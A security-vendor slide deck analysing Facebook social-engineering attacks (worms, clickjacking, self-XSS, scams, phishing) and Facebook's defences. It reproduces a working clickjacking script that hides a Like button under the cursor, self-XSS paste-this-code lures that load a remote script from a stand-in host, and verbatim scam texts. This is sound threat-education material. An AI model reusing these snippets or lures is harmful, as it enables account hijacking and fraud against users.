A Study of Malicious Attacks on Facebook

Maria Patricia Revilla, Anti-Malware Analyst Commtouch VirusLab
Robert Sandilands, Director Commtouch VirusLab
www.commtouch.com
Overview

- Problem: Facebook Social Engineering Attacks
- Preventive Measures
- Defensive Measures
- Challenges on protecting users
- Conclusions
Problem: Social Engineering Attacks

- Emotion, thought and human desire come together to trick users

- In a social networking environment, a user wouldn’t normally suspect that a friend deliberately added to his list would send harmful content

- Users are compelled to action by “friends” to follow messages, links or invites
Worms: Koobface

Facebook

Wow3! Are you really in that video?

Back to Messages  Mark as Unread  Report Spam  Delete

You’ve been filmed! Haaven’t you noticed?

Back to Messages  Mark as Unread  Report Spam  Delete

http://beiterfer....blogspot.com/
Worms: Palevo

1. Chat message with link
2. Friend clicks link
3. Redirect
4. More Compromised Facebook users

Compromised Facebook user
Facebook Friends
Phony Facebook application
Compromised website hosting malware
Clickjacking

- Tricks a user into performing undesired actions (e.g. downloading malware) by clicking on a concealed link

- Facebook functionalities:
  - Publish
  - Like
  - Comment
Clickjacking

```javascript
<iframe src="http://www.facebook.com/plugins/like.php?href=http://www.example.com&layout=standard&show_faces=false&width=450&amp;height=80" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width:100px; height:23px;" allowTransparency="true" id="fbframe" name="fbframe"></iframe>

<script type="text/javascript">
    var myHTMLBody=(document.compatMode=="CSS1Compat")? document.documentElement : document.body; var fbLikeFrame = document.getElementById('fbLikeFrame'); var myBoolean = 0;
    function mouseFollower(e){
        if (window.event) { fbLikeFrame.style.top = (window.event.y-10)+myHTMLBody.scrollTop+'px'; fbLikeFrame.style.left = (window.event.x-10)+myHTMLBody.scrollLeft+'px'; }
        else {fbLikeFrame.style.top = (e.pageY-10)+'px'; fbLikeFrame.style.left = (e.pageX-10)+'px';}
    }
    document.onmousemove = function(e) {
        if (myBoolean == 0) {mouseFollower(e);} else fbLikeFrame.style.display = 'none';
    }
</script>
```
Clickjacking

SICK! I lost all respect for Miley Cyrus when I watched this video!

Please Watch this video only if you are 16 years or older

Miley Cyrus needs to learn to keep her legs closed
Clickjacking

SICK! I lost all respect for Miley Cyrus when I watched this video!

25 minutes ago · Like · Comment · Share

47,884 people like this. Be the first of your friends.

130,821 people like this. Be the first of your friends.
Clickjacking

Age Verification

Please Verify Your Age By Completing a Quick Test

- Test Your Music Knowledge Today
- Win the new iPhone 4
- Want Huggies for a Year?
- Win $1000 worth of TimTam here
- Are You Justin Beibers Dream Girl?
- Play Duck Hunt Now
Clickjacking
Scam and Spam messages on Facebook

- **Subjects:**
  - 500 free Facebook credits
  - Official App: See who has viewed your Profile?
  - Video of Osama Bin Laden’s assassination
Scam and Spam messages on Facebook

Just follow these 3 steps:

1. Copy this code (highlight and press CTRL-C):
   
   \[
   \text{javascript:} (a=(b=document).createElement('script')).src='//[omitted]/f.js',b.body.appendChild(a);\text{void}(0)
   \]

2. Delete the actual address from the url field in your browser and paste the code instead.

3. Press Enter and wait for a bit, it can take up to a minute to complete.

That's it!

If you are having trouble with these instructions, try viewing the instructions here: http://[omitted].info/?sg21q

It's where I learned it
Scam and Spam messages (self-xss attack)

**Use Our Unique Code To**

Follow the simple steps below

**THE ONLY ONE THAT REALLY WORKS**

**Step 1 - Copy Our Special Code:**

Just Click In the Box To Highlight All Then Press Ctrl+C

```javascript
(a=(b=document).createElement('script')).src='//somebadurl.js?'+Math.random().b.body.appendChild(a):void(0)
```

**Here To Visit Facebook.Com**

Paste The Code Into Your Browser's Address Bar. Then Hit Enter!
Scam and Spam messages on Facebook

Hi,

Invited you to Official App: See Who has Viewed your Profile? Find out here!

Official App: See Who has Viewed your Profile? Find out here!
Sunday, April 17 at 2:00am

Are you attending? Yes - No - Maybe
Remove from My Events

Thanks,
The Facebook Team

To see more details, follow this link:
http://www.facebook.com/n/?event
bcode=cyFG0WgX%n_m=

-------- lj2t1.--------- <<<<<
a few seconds ago · Unlike · Comment

You like this.

omg i forgot to post link, here it is
http://zi672

a few seconds ago · Like

Write a comment…
Money-mule and credit card scams
Money-mule and credit card scams

Recently, I went out with some friends to the local club. On the way there, I was stopped on the street by a cute girl who complimented me on my jacket and my unique sense of style.

Generate Huge Traffic http://[redacted].net/

The Lotto Black Book! Secrets Exposed...

This incredible story is narrated by the victim himself: Larry B*****. To hear it in audio click the play button:

Sunday at 1:03am · Like · Comment · Share
Money-mule and credit card scams

We give your everything you need to succeed in creating an attractive style!

With over 200 beautifully illustrated pages, dozens of interviews, style chapters, strategies and methods on a subject of Attraction Fashion that had NEVER been revealed before, this is easily worth over $900.

But you won't pay $900

Risk Free Acceptance Form

YES! I Want Instant Access Now!

I understand that I’ll receive instant access to:
Money-mule and credit card scams

$97 Module 1: Strategy Guide
$97 Module 2: Tactical Guide
$97 Module 3: Advanced Guide
$97 Dating & Fashion Guru Interviews

But because you're here now, get ONE module for only $9.95 and get the other 3 FREE!

Add To Cart

Your Payment
Pay now with Credit or Debit Card
Your Location: UNITED STATES
Zip or Postal Code:
Name on Card:
Your Email:
Card Number:
Expiration Date: 05 2011
Validation Code: [What is this?]
Pay Now
Money-mule and credit card scams

Complaintsboard.com complaints comments:

Acne Cured The E-Book (Complaint Comment)
Posted: 2010-10-07 by WisaMind

Poor Writing & Information
Much appreciated, this is the only TRUTHFUL review on the net about this rip-off of a book.
All the other FAKE REVIEWS are on websites completely devoted to tricking you into clicking their AFFILIATE LINK!!!

Just a word from the wise - if a website lists only the un...

The Truth about Six Pack Abs (Complaint)
Posted: 2010-07-01 by Rola

Have not received order #DW7D2D7E
Ordered a product entitled: The Truth about Six Pack Abs Package - including audio and video bonuses. One payment of $39.95
Order # DW7D2D7E. Have not received the order as of today and the order was made on June 6, 2010. What's up?

Making Money Taking Surveys (Complaint Comment)
Posted: 2010-06-16 by Stephen

Refund
Huge scam, they own all these websites:

[Redacted]

Home Jobs, Home Job Placement (Complaint Comment)
Posted: 2010-05-28 by Chuck Turner

TOTAL SCAM
Home Job Placement scam is promoted by:

[Redacted]
Fake email notification – more spam and scam
Fake email notification – more spam and scam

From: Facebook [mailto:facebook.jackpot@administrativos.com]
Sent: Wednesday, June 16, 2010 11:03 PM
To: lottery@facebook.com
Subject: Congratulations...

Dear Winner,

This is to inform you that you have won a prize money of {US$800,000.00 USD} on the on-going Facebook Africa Jackpot Promo 2010. Which is sponsored and organized by Facebook Officials, which is a way of compensating Facebook users after our sixth year anniversary.

For more details please get back to us with the following information for identification.

1. Full Name: ------------------------
2. Nationality: ----------------------
3. Contact Address: ------------------ (Where your Cheque will be delivered)
4. Phone: --------------------------
5. Date of Birth: ------------------- Sex---
6. Occupation: ---------------------

For security reasons, you are advised to keep your winning information confidential till your claims is processed and your money remitted to you in whatever manner you deem fit to claim your prize.

Thanks,
The Facebook Team
Fake email notification – Oficla

Dear Customer:

Spam is sent from your Facebook account.

Your password has been changed for safety.

Information regarding your account and a new password attached to the letter.
Read this information thoroughly and change the password.

Please do not reply to this email, it's automatic mail notification!

Thank you for your attention.
Your Facebook!
Phishing
Phishing

PhishTank Statistics

- Facebook valid phishes count

Graph showing the trend of Facebook valid phishes count from Sep-09 to Mar-11.
Preventive Measures

Facebook Login

Security Notice
For your security, never enter your Facebook password on sites not located on Facebook.com

Login as:

Password:

Keep me logged in
Set Facebook as my home page
Login or Sign up for Facebook

Forgot your password?
Preventive Measures

⚠️ Please be careful

For the safety and privacy of your Facebook account, remember to never enter your password unless you’re on the real Facebook web site. Also be sure to only download software from sites you trust. To learn more about staying safe on the internet, visit our Facebook’s Security Page. Please also read the Wikipedia articles on malware and phishing.

http://x.co/[redacted]

Continue  Cancel
Preventive Measures

Security Check

Sick of these? Verify your account.
Can't read the text above?
Try another text; or receive code by phone

Text in the box: [Text input field] What's this?

Submit Cancel

Security Check

This is a standard security test that we use to prevent spammers from creating fake accounts and spamming users.

Okay
Preventive Measures

Partnership with Web of Trust
Preventive Measures

Self-XSS Protection

Account Safety

In the future, never paste suspicious-looking links or text into your address bar. They could be spam, or perform actions that could lead to your account being disabled.

Learn more about spam (http://www.facebook.com/help/?faq=18678) and keeping your account secure (http://www.facebook.com/help/?page=18887).

Account Safety

It looks like a link you pasted into your address bar caused unintentional activity on your Facebook account.

The link may have looked like this:

```
javascript:(a=b=document)....;void(0)
```

Don’t worry, your account is safe.
Preventive Measures

Login Approvals
Preventive Measures

Facebook Security Settings

Account Security
Control your browsing and login security

Secure Browsing (https)
☑ Browse Facebook on a secure connection (https) whenever possible
Preventive Measures

### Account Activity

View your recent account activity. If you notice an unfamiliar device or location, click "end activity"

*Note: Locations and device types reflect our best guesses based on your ISP or wireless carrier.*

<table>
<thead>
<tr>
<th>Most Recent Activity</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Location:</strong> Unknown Location <em>(Approximate)</em></td>
</tr>
<tr>
<td><strong>Device Type:</strong> Firefox on Win7</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Also Active</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Last Accessed:</strong> Today at 6:54pm</td>
</tr>
<tr>
<td><strong>Location:</strong> <em>(Approximate)</em></td>
</tr>
<tr>
<td><strong>Device Type:</strong> IE on WinXP</td>
</tr>
</tbody>
</table>

| **Last Accessed:** Today at 6:50pm |
| **Location:** *(Approximate)* |
| **Device Type:** Firefox on WinXP |

| **Last Accessed:** Today at 6:41pm |
| **Location:** *(Approximate)* |
| **Device Type:** Firefox on WinXP |
Preventive Measures

Facebook Security and Safety Page

- How to protect a user account
- Threats that a user may encounter on Facebook
- How to report possible security vulnerabilities
- Insight for parents, teens, and teachers - shared responsibility of keeping Facebook a safe environment
Preventive Measures

- Security Blogs
- Warn customers on threats that are found on the social network
- Tips on strengthening security and account settings.
Defensive Measures

- Facebook Reporting
  - Mark as Spam
  - Report/Block this Person/Application

- Security Products
  - Locally installed AV, URL filtering and anti-spam product
  - Facebook Security Apps
Conclusions

- Facebook has been increasingly used for malicious purposes
- Facebook security group has taken some steps to protect users
- Security Industry working to keep pace with cybercriminals
- Attackers employ numerous social engineering tactics
- Education of users is a key part of enhancing security
Questions?

patricia.revilla@commtouch.com

Anti-Malware Analyst

robert.sandilands@commtouch.com

Director

Commtouch Virus Lab